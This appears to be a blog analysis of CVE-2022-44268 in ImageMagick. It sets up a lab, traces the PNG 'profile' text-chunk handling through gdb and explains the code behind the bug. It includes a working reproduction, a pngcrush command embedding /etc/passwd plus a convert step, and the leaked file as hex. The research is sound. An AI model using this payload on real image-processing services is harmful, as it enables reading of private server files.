Introduction
Arbitrary Remote Leak in ImageMagick 7.1.0–49 has been found and registered as #CVE-2022–44268.
What is ImageMagick?
ImageMagick doesn’t really need any introduction because it has been around since August 1, 1990. It’s used everywhere not only on Linux systems but also as a library with other programming languages.
ImageMagick, invoked from the command line as magick, is a free and open-source cross-platform software suite for displaying, creating, converting, modifying, and editing raster images. Created in 1987 by John Cristy, it can read and write over 200 image file formats. It is widely used in open-source applications.
Programming language: C
Initial release: August 1, 1990; 32 years ago
Stable release: 7.1.0–62 / 12 February 2023
Build the lab
Method 1
- Download the vulnerable (
7.1.0-49
) version from here: - https://imagemagick.org/archive/releases/
- Install the build tools
sudo apt install build-essential make
- Extract the tar.xz
tar -axvf ImageMagick-7.1.0-49.tar.xz cd ImageMagick-7.1.0-49/
- Configure and Install
./configure sudo make install sudo ldconfig /usr/local/lib
- Test ImageMagick
convert pictest.png test2.png convert --version
This worked for me after that I started to face issues with the PNG library, so if you faced the same issue here is another method to install.
Method 2
- Download the script:
- https://github.com/SoftCreatR/imei/
git clone https://github.com/SoftCreatR/imei && \ cd imei && \ chmod +x imei.sh
- Run the script to download all the required libs and install ImageMagick
./imei.sh --im-version 7.1.0-49
NOTE: After installing using this way if you tried to open convert with GDB and didn’t work, you can run the ./confugre script in Method1 and it will work, that way imei will install all the needed libs and ImageMagick will be installed from the official resource.
However, I think you can just edit the imei script to install only the libs without installing ImageMagick and after that install ImageMagick.
I will add this in a separate blog, so stay tuned.
Background Story
This is a summary to give you general information about what you are going to read, so you can have an easier understanding.
When you pass a PNG image to something like “convert”, there is a function named ReadOnePNGImage which will process the image and also read the text chunk, from there, there is an if condition where it checks if there is the “profile” keyword inside the image metadata, if that the case the code treat any associated text to the keyword “profile” as a filename and using a function named FileToBlob it will read the file and set the string content inside the image.
I’m trying to achieve a more detailed understanding of what’s going on and how this whole vulnerability getting proceed.
Dive deep if you dare :D
Reproducing the attack
- First, you have to create the payload by embedding the “profile” keyword along with a file path as text, to do that we will use pngcrush tool.
pngcrush -text a "profile" "/etc/passwd" mhzcyber2.png
- This will generate a new image named “pngout.png” with the text embedded inside it
- Here we can see the differences between both the original image and the new malicious one.
The original image:
The malicious image:
- Trigger the exploitation with the following command:
convert pngout.png pwnit.png
NOTE: Errors messages are always interesting since they can give us a lot of info that can help with debugging.
- Check the newly generated image using the following command:
identify -verbose pwnit.png
- This is hex data
- Convert the hex to str
726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f7661722f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130303a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130313a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130323a3130343a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130363a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7379736c6f673a783a3130343a3131303a3a2f686f6d652f7379736c6f673a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130353a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7473733a783a3130363a3131313a54504d20736f66747761726520737461636b2c2c2c3a2f7661722f6c69622f74706d3a2f62696e2f66616c73650a75756964643a783a3130373a3131323a3a2f72756e2f75756964643a2f7573722f7362696e2f6e6f6c6f67696e0a74637064756d703a783a3130383a3131333a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a6c616e6473636170653a783a3130393a3131353a3a2f7661722f6c69622f6c616e6473636170653a2f7573722f7362696e2f6e6f6c6f67696e0a706f6c6c696e6174653a783a3131303a313a3a2f7661722f63616368652f706f6c6c696e6174653a2f62696e2f66616c73650a7573626d75783a783a3131313a34363a7573626d7578206461656d6f6e2c2c2c3a2f7661722f6c69622f7573626d75783a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3131323a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a75733a783a313030303a313030303a75733a2f686f6d652f75733a2f62696e2f626173680a6c78643a783a3939383a3130303a3a2f7661722f736e61702f6c78642f636f6d6d6f6e2f6c78643a2f62696e2f66616c73650a
Debugging
I need to understand how ImageMagick processes png images, therefore, I can dive deep into the code and understand the vulnerability better.
- Start gdb as follows:
gdb convert
- use the command
lay next
and after that press Enter twice
I set a breakpoint at the main function after that run the program
break main
run pngout.png xy.png
I went here with step
step-in
and next
to follow the program execution
This will be a very long execution flow until we hit the first interesting shared library “png.c” and the interesting function for us which is “ReadOnePNGImage”
I recorded the execution here:
ٍSince I did this on multiple days, I have divided this into three parts
NOTE: these are not the precise execution steps since I passed some steps that are not exactly related to understanding the execution flow and the vulnerability.
Part 1:
it starts ywith reading the PNG image using ReadOnePNGImage
2177 int
2213 png_bytep
2216 png_color_16p
2230 png_uint_32
2261 png_byte unused_chunks[]=
2280 logging=IsEventLogging();MagickCore/log.c
764 {
765 return(event_logging);coders/png.c
2281 if (logging != MagickFalse)
2345 quantum_info = (QuantumInfo *) NULL;
2346 image=mng_info->image;
2359 intent= Magick_RenderingIntent_to_PNG_RenderingIntent(image->rendering_intent);
1110 switch (ping_colortype)
2363 transparent_color.red=65537;
2364 transparent_color.green=65537;
2365 transparent_color.blue=65537;
2366 transparent_color.alpha=65537;
2377 ping_found_sRGB_cHRM = MagickFalse;
2378 ping_preserve_iCCP = MagickFalse;
2376 ping_found_sRGB = MagickFalse;
2377 ping_found_sRGB_cHRM = MagickFalse;
2378 ping_preserve_iCCP = MagickFalse;
2387 ping=png_create_read_struct_2(PNG_LIBPNG_VER_STRING,&error_info,MagickPNGErrorHandler,MagickPNGWarningHandler, NULL,(png_malloc_ptr) Magick_png_malloc,(png_free_ptr) Magick_png_free);
2394 if (ping == (png_struct *) NULL)
2397 ping_info=png_create_info_struct(ping);
2399 if (ping_info == (png_info *) NULL)
2405 end_info=png_create_info_struct(ping);
2407 if (end_info == (png_info *) NULL)
2413 pixel_info=(MemoryInfo *) NULL;
2414 quantum_scanline = (Quantum *) NULL;
2415 quantum_info = (QuantumInfo *) NULL;
2417 if (setjmp(png_jmpbuf(ping)))
2451 LockSemaphoreInfo(ping_semaphore);MagickCore/semaphore.c
294 {
295 assert(semaphore_info != (SemaphoreInfo *) NULL);
296 assert(semaphore_info->signature == MagickCoreSignature);
306 omp_set_lock((omp_lock_t *) &semaphore_info->mutex);coders/png.c
2456 png_set_benign_errors(ping, 1);
2465 png_set_user_limits(ping,(png_uint_32) MagickMin(PNG_UINT_31_MAX, GetMagickResourceLimit(WidthResource)),(png_uint_32) MagickMin(PNG_UINT_31_MAX,GetMagickResourceLimit(HeightResource)));MagickCore/resource.c
798 {
802 switch (type)
807 return(resource_info.height_limit);
798 {
802 switch (type)
815 return(resource_info.width_limit);coders/png.c
2470 option=GetImageOption(image_info,"png:chunk-cache-max");MagickCore/option.c
2404 {
2405 assert(image_info != (ImageInfo *) NULL);
2406 assert(image_info->signature == MagickCoreSignature);
2407 if (IsEventLogging() != MagickFalse)MagickCore/log.c
764 {
765 return(event_logging);MagickCore/option.c
2410 if (image_info->options == (void *) NULL)
2412 return((const char *) GetValueFromSplayTree((SplayTreeInfo *) image_info->options,option));MagickCore/splay-tree.c
923 {
930 assert(splay_tree != (SplayTreeInfo *) NULL);
931 assert(splay_tree->signature == MagickCoreSignature);
932 if (IsEventLogging() != MagickFalse)MagickCore/log.c
764 {
765 return(event_logging);MagickCore/splay-tree.c
934 if (splay_tree->root == (NodeInfo *) NULL)
936 LockSemaphoreInfo(splay_tree->semaphore);MagickCore/semaphore.c
294 {
295 assert(semaphore_info != (SemaphoreInfo *) NULL);
296 assert(semaphore_info->signature == MagickCoreSignature);
306 omp_set_lock((omp_lock_t *) &semaphore_info->mutex);MagickCore/splay-tree.c
937 SplaySplayTree(splay_tree,key);
1613 if (splay_tree->root == (NodeInfo *) NULL)
1615 if (splay_tree->key != (void *) NULL)
1620 if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1621 compare=splay_tree->compare(splay_tree->root->key,key);
413 {
420 return(LocaleCompare(p,q));MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);MagickCore/splay-tree.c
1625 if (compare == 0)
1611 static void SplaySplayTree(SplayTreeInfo *splay_tree,const void *key)
1628 (void) Splay(splay_tree,0UL,key,&splay_tree->root,(NodeInfo **) NULL, (NodeInfo **) NULL);
1528 n=(*node);
1529 if (n == (NodeInfo *) NULL)
1536 if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
1537 compare=splay_tree->compare(n->key,key);
413 {
420 return(LocaleCompare(p,q));MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);MagickCore/splay-tree.c
1541 if (compare > 0)
1544 if (compare < 0)
1545 next=(&n->right);
1548 if (depth >= MaxSplayTreeDepth)
1553 n=Splay(splay_tree,depth+1,key,next,node,parent);
1528 n=(*node);
1529 if (n == (NodeInfo *) NULL)
1531 if (parent != (NodeInfo **) NULL)
1532 return(*parent);
1551 return(n);
1554 if ((n != *node) || (splay_tree->balance != MagickFalse))
1557 if (parent == (NodeInfo **) NULL)
1551 return(n);
1630 if (splay_tree->balance != MagickFalse)
1638 splay_tree->key=(void *) key;
938 if (splay_tree->compare != (int (*)(const void *,const void *)) NULL)
939 compare=splay_tree->compare(splay_tree->root->key,key);
413 {
420 return(LocaleCompare(p,q));MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);MagickCore/splay-tree.c
943 if (compare != 0)
945 UnlockSemaphoreInfo(splay_tree->semaphore);MagickCore/semaphore.c
450 {
451 assert(semaphore_info != (SemaphoreInfo *) NULL);
452 assert(semaphore_info->signature == MagickCoreSignature);
465 omp_unset_lock((omp_lock_t *) &semaphore_info->mutex);MagickCore/splay-tree.c
946 return((void *) NULL);coders/png.c
2471 if (option != (const char *) NULL) png_set_chunk_cache_max(ping,(png_uint_32) MagickMin(PNG_UINT_32_MAX, StringToLong(option)));
2475 png_set_chunk_cache_max(ping,32767);
2479 option=GetImageOption(image_info,"png:chunk-malloc-max");MagickCore/property.c
4711 if (LocaleCompare("profile",property) == 0)MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422 (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);/usr/include/ctype.h
209 return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;MagickCore/property.c
4843 status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));MagickCore/string.c
679 {
687 if (source != (char *) NULL)
688 length+=strlen(source);MagickCore/property.c
4362 {
4372 assert(image != (Image *) NULL);
4373 assert(image->signature == MagickCoreSignature);
4374 if (IsEventLogging() != MagickFalse)MagickCore/log.c
764 {
765 return(event_logging);MagickCore/property.c
4376 if (image->properties == (void *) NULL) image->properties=NewSplayTree(CompareSplayTreeString, RelinquishMagickMemory,RelinquishMagickMemory);
4379 if (value == (const char *) NULL) return(DeleteImageProperty(image,property));
4381 if (strlen(property) <= 1)4711 if (LocaleCompare("profile",property) == 0)MagickCore/locale.c
1407 {
1408 if (p == (char *) NULL)
1414 if (q == (char *) NULL)
1421 for ( ; (*r != '\0') && (*s != '\0') && ((*r == *s) || (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);
1422 (LocaleToLowercase((int) *r) == LocaleToLowercase((int) *s))); r++, s++);/usr/include/ctype.h
209 return __c >= -128 && __c < 256 ? (*__ctype_tolower_loc ())[__c] : __c;MagickCore/property.c
4843 status=AddValueToSplayTree((SplayTreeInfo *) image->properties, ConstantString(property),ConstantString(value));coders/png.c
3370 if (ping_interlace_method == 0)
3372 (void) FormatLocaleString(msg,MagickPathExtent,"%d (Not interlaced)", (int) ping_interlace_method);MagickCore/locale.c
131 if (c_locale == (locale_t) NULL)
137 return(c_locale);coders/png.c
3385 (void) SetImageProperty(image,"png:IHDR.interlace_method",msg,exception);MagickCore/property.c
4362 {
4372 assert(image != (Image *) NULL);
4373 assert(image->signature == MagickCoreSignature);
4374 if (IsEventLogging() != MagickFalse)
4376 if (image->properties == (void *) NULL)
4379 if (value == (const char *) NULL)
4381 if (strlen(property) <= 1)
4711 if (LocaleCompare("profile",property) == 0)coders/png.c
3387 if (number_colors != 0)
3395 read_tIME_chunk(image,ping,ping_info,exception);
2118 {
2122 if (png_get_tIME(ping,info,&time))
3398 read_eXIf_chunk(image,ping,ping_info,exception);
1950 if (png_get_eXIf_1(ping,info,&size,&data))
3405 if (image->delay != 0)
3408 if ((mng_info->mng_type == 0 && (image->ping != MagickFalse)) || (
3438 if (logging != MagickFalse)
3442 status=SetImageExtent(image,image->columns,image->rows,exception);MagickCore/image.c
2664 {
2665 if ((columns == 0) || (rows == 0))
2667 image->columns=columns;
2668 image->rows=rows;
2669 if (image->depth == 0)
2675 if (image->depth > (8*sizeof(MagickSizeType)))
2681 return(SyncImagePixelCache(image,exception));MagickCore/resource.c
798 {
802 switch (type)
Part 2:
ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962
ConcatenateMagickString (destination=destination@entry=0x5555555c1a00 "", source=0x5555555b6ee8 "/etc/passwd", length=length@entry=13) at MagickCore/string.c:394ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3973FormatLocaleString (string=string@entry=0x7fffffff25d0 "pngout.png", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:468FormatLocaleStringList (string=0x7fffffff25d0 "pngout.png", length=4096, format=0x7ffff7e861fb "%s", operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:419AcquireCLocale () at MagickCore/locale.c:131FormatLocaleStringList (string=0x7fffffff25d0 "profile", length=4096, format=<optimized out>, operands=operands@entry=0x7fffffff0040) at MagickCore/locale.c:461FormatLocaleString (string=string@entry=0x7fffffff25d0 "profile", length=length@entry=4096, format=format@entry=0x7ffff7e861fb "%s") at MagickCore/locale.c:478LocaleCompare (p=p@entry=0x7fffffff25d0 "profile", q=q@entry=0x7ffff7e7f546 "width") at MagickCore/locale.c:1407ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3982SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4362SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4381SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4692SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile", value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4711
Part 3:
MagickCore/property.c:4711
MagickCore/property.c:4722
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
exception=exception@entry=0x55555558a830) at MagickCore/string.c:1007
MagickCore/string.c
1015 string_info=AcquireStringInfoContainer();
AcquireStringInfoContainer () at MagickCore/string.c:145
147 string_info->signature=MagickCoreSignature;
1016 string_info->path=ConstantString(filename);
679 {
1017 string_info->datum=(unsigned char *) FileToBlob(filename,extent,
FileToStringInfo (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
exception=exception@entry=0x55555558a830) at MagickCore/string.c:1017MagickCore/blob.c
1398 {
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1398
1423 assert(filename != (const char *) NULL);
1424 assert(exception != (ExceptionInfo *) NULL);
1425 assert(exception->signature == MagickCoreSignature);
1428 *length=0;
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1428
1429 status=IsRightsAuthorized(PathPolicyDomain,ReadPolicyRights,filename);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1430
1437 file=fileno(stdin);
1440 status=GetPathAttributes(filename,&attributes);
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1438MagickCore/utility.c
1189 status=stat_utf8(path,(struct stat *) attributes) == 0 ? MagickTrue :
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1189
stat_utf8 (attributes=0x7ffffffeff10, path=0x5555555c4c90 "/etc/passwd") at MagickCore/utility.c:1189
GetPathAttributes (path=path@entry=0x5555555c4c90 "/etc/passwd", attributes=attributes@entry=0x7ffffffeff10) at MagickCore/utility.c:1191
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1441
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1455
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1515
MapBlob (file=file@entry=4, mode=mode@entry=ReadMode, offset=offset@entry=0, length=1815) at MagickCore/blob.c:3011
FileToBlob (filename=filename@entry=0x5555555c4c90 "/etc/passwd", extent=extent@entry=18446744073709551615,
length=length@entry=0x5555555d3e60, exception=exception@entry=0x55555558a830) at MagickCore/blob.c:1523MagickCore/property.c
SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4725MagickCore/profile.c
SetImageProfile (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1997
SetImageProfileInternal (image=image@entry=0x5555555a9590, name=name@entry=0x5555555c2c90 "", profile=profile@entry=0x5555555d3e50,
recursive=recursive@entry=MagickFalse, exception=exception@entry=0x55555558a830) at MagickCore/profile.c:1955SetImageProperty (image=image@entry=0x5555555a9590, property=property@entry=0x7fffffff25d0 "profile",
value=value@entry=0x5555555c1a00 "/etc/passwd", exception=exception@entry=0x55555558a830) at MagickCore/property.c:4727
NOTE: since explaining each line by line of the execution would take an extreme amount of time, I will explain the main used functions and the lines that are related to understanding the vulnerability.
- Basically it starts with ReadOnePNGImage
ReadOnePNGImage() reads a Portable Network Graphics (PNG) image file (minus the 8-byte signature) and returns it.
It allocates the memory necessary for the new Image structure and returns a pointer to the new image.
The format of the ReadOnePNGImage method is:
Image ReadOnePNGImage(MngInfo mng_info, const ImageInfo image_info, ExceptionInfo exception)
A description of each parameter follows:
o mng_info: Specifies a pointer to a MngInfo structure.
o image_info: the image info.
o exception: return any errors or warnings in this structure.
The function starts at int
and here there are several variables that are used to store various characteristics of the PNG image file, such as the PNG rendering intent, the number of raw ICC profiles and text chunks associated with the image, the number of passes required to display the image, and the characteristics of the image data such as bit depth, color type, interlace method, compression method, filter method, and the number of transparent pixels. These variables are used to decode the image data and reconstruct the image.
- Every time you see this line
logging=IsEventLogging();
this means it will go to “MagickCore/log.c” and IsEventLogging() returns MagickTrue if debug of events is enabled otherwise MagickFalse.
- The code sets a few pointer and variable values, including setting
quantum_info
toNULL
, settingimage
to point to theimage
object within themng_info
struct, and settingintent
to a value representing the rendering intent for the image. Also sets a few boolean variables and initializes some structures for reading in the PNG image file.
- After that, it moves to the LockSemaphoreInfo function which locks a semaphore.
- A description of each parameter follows:
o semaphore_info: Specifies a pointer to an SemaphoreInfo structure. - After that to resource.c to GetMagickResourceLimit function which returns the specified resource limit.
- Now to “MagickCore/option.c” to GetImageOption function which gets a value associated with the global image options.
- From here with GetValueFromSplayTree function it will go to “MagickCore/splay-tree.c”. GetValueFromSplayTree() gets a value from the splay-tree by its key.
- This is where it will start to be interesting which basically from the part2 of the execution record
ReadOnePNGImage (mng_info=mng_info@entry=0x5555555b0200, image_info=image_info@entry=0x555555597590, exception=exception@entry=0x55555558a830) at coders/png.c:3962
Basically, the code here reads the text chunk from the image i.e. the file path
else
{
char
*value;
length=text[i].text_length;
value=(char *) AcquireQuantumMemory(length+MagickPathExtent,
sizeof(*value));
if (value == (char *) NULL)
{
png_error(ping,"Memory allocation failed");
break;
}
*value='\0';
(void) ConcatenateMagickString(value,text[i].text,length+2); /* Don't save "density" or "units" property if we have a pHYs
* chunk
*/
if (!png_get_valid(ping,ping_info,PNG_INFO_pHYs) ||
(LocaleCompare(text[i].key,"density") != 0 &&
LocaleCompare(text[i].key,"units") != 0))
{
char
key[MagickPathExtent]; (void) FormatLocaleString(key,MagickPathExtent,"%s",
text[i].key);
if ((LocaleCompare(key,"version") == 0) ||
(LocaleCompare(key,"width") == 0))
(void) FormatLocaleString(key,MagickPathExtent,"png:%s",
text[i].key);
(void) SetImageProperty(image,key,value,exception);
}
First, a character pointer variable called value
is declared. length
is set to the length of the text in the current text chunk. Memory is then allocated for value
, which will be used to store the text value. The AcquireQuantumMemory
function is used for memory allocation.
Next, the code checks if memory allocation for value
was successful. If it wasn't, an error message is logged and the loop is broken. If memory allocation was successful, value
is set to an empty string using '\0'
.
Now the text value is copied into value
using the ConcatenateMagickString
.
ConcatenateMagickString() concatenates the source string to the destination string.
The destination buffer is always null-terminated even if the string must be truncated.
After that, the program goes through multiple other interesting functions, such as:
- FormatLocaleStringList
- FormatLocaleString
- SetImageProperty which it’s interesting since saves the given string value either to a specific known attribute or to a freeform property string.
scroll down in the SetImageProperty to line 4711
when you follow this code, you found this full function in MagickCore/preperty.c
Basically, the code here using LocaleCompare
function to check if the property
variable is equal to the string "profile", If the comparison returns zero, meaning the strings are equal, it will continue.
here, I will explain what those functions do and I will focus more on the functions that are more related to the root cause.
AcquireImageInfo() allocates the ImageInfo structure.
The format of the AcquireImageInfo method is: ImageInfo *AcquireImageInfo(void)
The SetImageInfo
function is then called to initialize the ImageInfo
struct, passing in a value of 1
and an exception
parameter.
SetImageInfo() initializes the ‘magick’ field of the ImageInfo structure.
It is set to a type of image format based on the prefix or suffix of the filename. For example, ‘ps:image’ returns PS indicating a Postscript image.
JPEG is returned for this filename: ‘image.jpg’. The filename prefix has precendence over the suffix. Use an optional index enclosed in brackets after a file name to specify a desired scene of a multi-resolution image format like Photo CD (e.g. img0001.pcd[4]). A True (non-zero) return value indicates success.
This line is very interesting
profile=FileToStringInfo(image_info->filename,~0UL,exception);
The FileToStringInfo
function is called with the filename of the ImageInfo
struct and a flag value ~0UL
to read the entire file into memory as a StringInfo
struct.
FileToStringInfo() returns the contents of a file as a string.
This function takes three parameters:
filename
is a pointer to a character array (i.e., string) that contains the name of the file to read.extent
is a size_t variable indicating the maximum length of the string that should be read from the file. This parameter is used to prevent the function from reading beyond a specified limit, which can help prevent buffer overflow errors.exception
is a pointer to anExceptionInfo
structure. This structure is used to capture any errors or warnings that occur during the execution of the function.
The function also calls the FileToBlob()
function, passing in the filename
, extent
, and exception
parameters. This function reads the contents and the file content is stored in the datum
field of the StringInfo
structure.
string_info->datum=(unsigned char *) FileToBlob(filename,extent, &string_info->length,exception);
FileToBlob() returns the contents of a file as a buffer terminated with the ‘\0’ character. The length of the buffer (not including the extra terminating ‘\0’ character) is returned via the ‘length’ parameter. Free the buffer with RelinquishMagickMemory().
The interesting part of the FileToBlob() function is this:
file=fileno(stdin);
if (LocaleCompare(filename,"-") != 0)
{
status=GetPathAttributes(filename,&attributes);
if ((status == MagickFalse) || (S_ISDIR(attributes.st_mode) != 0))
{
ThrowFileException(exception,BlobError,"UnableToReadBlob",filename);
return(NULL);
}
file=open_utf8(filename,O_RDONLY | O_BINARY,0);
}
if (file == -1)
{
ThrowFileException(exception,BlobError,"UnableToOpenFile",filename);
return(NULL);
}
basically, the function will check if the filename contains “-” it will try to read from stdin input otherwise it will start with the GetPathAttributes
function which retrieves information about the file specified by filename
, such as its type, size, and permissions. GetPathAttributes can be found in MagickCore/utility.c here:
If the GetPathAttributes
function returns MagickFalse
, indicating an error occurred, or if the file type is a directory, the ThrowFileException
function is called to throw an exception with an error message, and NULL
is returned.
Now if the file type is not a directory, the open_utf8
function is called with the filename
This function attempts to open the file specified by filename
in read-only mode, and returns a file descriptor that is assigned to the file
variable. If the open_utf8
function fails and returns -1, indicating an error, the ThrowFileException
function is called to throw an exception with an error message, and NULL
is returned, Otherwise, the file descriptor is returned to the calling function.
Now going back to the if (LocaleCompare("profile",property)==0)
in MagicCore/property.c
If the StringInfo
is successfully read, the SetImageProfile
function is called to set the image's profile using the image's format (image_info->magick
), the StringInfo
struct, and the exception
parameter.
The StringInfo
struct is then destroyed using DestroyStringInfo
.
if (profile != (StringInfo *) NULL)
{
status=SetImageProfile(image,image_info->magick,profile,
exception);
profile=DestroyStringInfo(profile);
}
Finally, the ImageInfo
struct is destroyed using DestroyImageInfo
, and the function returns MagickTrue
.
image_info=DestroyImageInfo(image_info);
return(MagickTrue);
If the property
variable is not equal to the string "profile", the program breaks out of the if
statement.
break; /* not an attribute, add as a property */
basically, all these steps are in the gdb, and you can follow them in the execution flow that I recorded and attached above.
I did all this by following gdb step by step and going through the execution.
Now just to summarize the execution flow:
